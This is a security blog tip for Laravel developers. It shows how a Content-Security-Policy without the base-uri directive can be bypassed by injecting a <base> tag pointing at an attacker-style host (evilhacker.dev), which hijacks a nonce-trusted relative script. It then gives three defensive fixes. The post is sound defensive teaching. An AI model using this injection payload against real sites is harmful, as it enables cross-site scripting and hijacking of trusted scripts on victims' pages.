> ## Content Index
> Fetch the complete content index at: https://securinglaravel.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Security Tip: Bypassing Content-Security-Policy with <base>!
- URL: https://securinglaravel.com/security-tip-bypassing-content-security-policy-with-base/
- Published: 2025-09-15T07:38:22.000Z
- Updated: 2025-09-15T07:38:22.000Z
- Description: [Tip #122] Content Security Policies are awesome, but if you haven't fully configured all of your directives, it's possible to redirect requests, inherit Nonces, and get juicy CSP-bypassing XSS! 😈
- Author: Stephen Rees-Carter
- Tags: Security Tips, XSS, Content Security Policy

Following on from last week's [Security Tip: When Is XSS Not Strictly XSS? (But Still Bad!)](https://securinglaravel.com/security-tip-when-is-xss-not-strictly-xss-but-still-bad/) where we looked at some sneaky psuedo-[XSS](https://securinglaravel.com/tag/xss/) that bypasses your [Content Security Policy](https://securinglaravel.com/tag/csp/), I wanted to explore another sneaky CSP bypass. This time using the `<base>` tag!

Let's start out with a simple XSS demo page with a strong CSP.

Here's the page:

![](https://storage.ghost.io/c/d9/0d/d90de76f-6031-4e2c-85b8-3447a38c4992/content/images/2025/09/image-6.png)

Simple XSS demo.

And here's the CSP:

```
Content-Security-Policy: 
  default-src 'none' ; 
  connect-src 'self' ; 
  font-src https://fonts.bunny.net ; 
  img-src 'self' ; manifest-src 'self' ; 
  script-src 'report-sample' 'self' 'unsafe-eval' 'sha256-...' 'nonce-...' ; 
  style-src 'self' 'sha256-...' 'nonce-...' ; 
  form-action 'self' ; 
  frame-ancestors 'none'
```

Basic CSP for example page.

As you can see from the violation, the attempted XSS with `<script>alert("Boom?")</script>` has been blocked by the CSP.

**However, there is an important directive missing from this CSP: `base-uri`!**

The `base-uri` directive tells the browser what possible values can be used inside the `<base>` tag. If it's not included the browser will allow any values. *(At this point, alarm bells should be ringing!)*

And what does the `<base>` tag do, you ask?

`<base>` instructs the browser what base URL should be used for all relative URLs on the page... 😈

At the bottom of this particular page, is the following HTML:

```html
</div>

<script src="/flux/flux.js?id=d09fcb6a" data-navigate-once nonce="..."></script>
<!-- Livewire Scripts -->
<script src="/livewire/livewire.js?id=df3a17f2" data-csrf="..." data-update-uri="/livewire/update" data-navigate-once="true"></script>
</body>
</html>
```

Note those lovely relative URLs of `/flux/flux.js` and `/livewire/livewire.js`? We can use `<base>` to hijack those and tell the browser to look for them on a domain we control! 

To make things even better for us, `/flux/flux.js` includes a `nonce` so the CSP will happily load **whatever script it points to, regardless of the domain!**

Naturally I have the perfect domain, and have set up a little test script:

## How secure is your app?

Sign up for ****Securing Laravel** to learn the essential security skills you need to keep your Laravel apps secure!   
  
You'll receive [weekly security tips](https://securinglaravel.com/tag/tips/) (like this one!), and upgrade to receive [monthly In Depth articles](https://securinglaravel.com/tag/in-depth/) that teach you so much more. You'll also be supporting Stephen's security work within the Laravel & PHP Community!

Subscribe 

Email sent! Check your inbox to complete your signup. 

No spam. Unsubscribe anytime.

```javascript
alert("Boom! Flux endpoint hijacked!");
```

[https://evilhacker.dev/flux/flux.js](https://evilhacker.dev/flux/flux.js?ref=securinglaravel.com)

All we need to do now is add the `<base>` tag to the page:

```html
<base href="https://evilhacker.dev" />
```

And submit...

![](https://storage.ghost.io/c/d9/0d/d90de76f-6031-4e2c-85b8-3447a38c4992/content/images/2025/09/image-7.png)

Hijacked `/flux/flux.js` script bypassing XSS with the `<base>` tag.

That's it! 😈

Note there are **no CSP violations** in the browser console - nothing is stopping our script from running on the page. It's also not a traditional XSS tag or attribute, so there is a good chance less-robust or in-house HTML sanitisation efforts will completely overlook and allow the `<base>` tag in user inputted HTML.

### My Recommendations:

There are three ways to fix this issue *(you should do all three!)*:

1. Prevent the `<base>` tag from being used anywhere in user input. *(This loops back into the topic of using an allowlist of safe tags, rather than a blocklist of dangerous tags.)*
2. Inject your own `<base>` tag in the `<head>`, such as `<base href="{{ url('/') }}" />`. The browser will only honour the first `<base>` tag it comes across, so if you inject your own first, any subsequent tags will be ignored.
3. Include the [base-uri directive](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/base-uri?ref=securinglaravel.com) in your CSP, and either set it to `'none'` if you don't need to use `<base>` or allow specific sources if you do need `<base>`.

---

***If you found this security tip useful?* 👍**  
[*Subscribe now*](#/portal/signup) *to get weekly* [***Security Tips***](https://securinglaravel.com/tag/tips/) *straight to your inbox, filled with practical, actionable advice to help you build safer apps.*

***Want to learn more?* 🤓**  
*Upgrade to a* [*Premium Subscription*](#/portal/signup) *for exclusive monthly* [**In Depth* articles*](https://securinglaravel.com/tag/in-depth/)*, or support my work with a* [*one-off tip*](#/portal/support)*! Your support directly funds my security work in the Laravel community.* 🥰

**Need a second set of eyes on your code?** 
*Book in a* [*Laravel Security Audit and Penetration Test*](https://stephenreescarter.net/laravel-security-audits-and-pentesting/?utm%5Fsource=securinglaravel.com) *today! I also offer budget-friendly* [*Security Reviews*](https://stephenreescarter.net/laravel-security-reviews/?utm%5Fsource=securinglaravel.com) *too.*

*Finally, connect with me on* [*Bluesky*](https://bsky.app/profile/valorin.bsky.social?ref=securinglaravel.com)*, or* [*other socials*](https://pinkary.com/@valorin?ref=securinglaravel.com)*, and check out* [*Practical Laravel Security*](https://practicallaravelsecurity.com/?utm%5Fsource=securinglaravel.com)*, my interactive course designed to boost your Laravel security skills.*